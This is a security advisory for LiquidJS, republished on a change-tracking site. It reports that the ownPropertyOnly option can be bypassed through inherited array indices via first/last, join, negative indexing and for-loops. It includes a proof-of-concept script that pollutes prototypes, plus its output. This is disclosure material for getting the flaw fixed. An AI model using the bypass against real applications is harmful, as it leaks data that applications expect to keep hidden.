Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 14:45 UTC Customize Public modeDiscuss ChangeIntel on Discord

LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-fwxr-j5w2-587m

Published

## Summary LiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. With `ownPropertyOnly: true`, direct access such as: ```liquid {{ a[0] }} ``` correctly blocks an inherited array index. However, the same inherited value is still disclosed through: ```text .first .last negative indexing for-loop iteration first last join reverse slice compact ``` ## Impact This is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data. Object prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide. ## Proof of concept ```js const { Liquid } = require("liquidjs"); const engine = new Liquid({ ownPropertyOnly: true }); Array.prototype[0] = "ARRAY_PROTO_POLLUTED"; Object.prototype.secret = "OBJECT_PROTO_POLLUTED"; const a = []; a.length = 1; const o = {}; for (const [src, scope] of [ ["{{ a[0] }}", { a }], ["{{ a[-1] }}", { a }], ["{{ o.secret }}", { o }], ["{{ a.first }}", { a }], ["{{ a.last }}", { a }], ["{{ a | first }}", { a }], ["{{ a | last }}", { a }], ["{{ a | join: ',' }}", { a }], ["{{ a | reverse | first }}", { a }], ["{{ a | slice: 0, 1 | join: ',' }}", { a }], ["{{ a | compact | join: ',' }}", { a }], ["{% for x in a %}[{{ x }}]{% endfor %}", { a }], ]) { console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope))); } delete Array.prototype[0]; delete Object.prototype.secret; ``` ## Observed behavior ```text {{ a[0] }} => "" {{ a[-1] }} => "ARRAY_PROTO_POLLUTED" {{ o.secret }} => "" {{ a.first }} => "ARRAY_PROTO_POLLUTED" {{ a.last }} => "ARRAY_PROTO_POLLUTED" {{ a | first }} => "ARRAY_PROTO_POLLUTED" {{ a | last }} => "ARRAY_PROTO_POLLUTED" {{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED" {{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED" {% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]" ``` ## Expected behavior When `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of: ```liquid {{ a[0] }} {{ o.secret }} ``` Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration. ## Root cause `ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead. Examples include: ```text negative indexing using obj[obj.length + key] readFirst/readLast using obj[0] / obj[obj.length - 1] filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads for-loop iteration materializing inherited array indices ``` Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.

Source published
7 Oct 2026 16:19:09 UTC
Source modified
7 Oct 2026 16:30:04 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 14:45 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current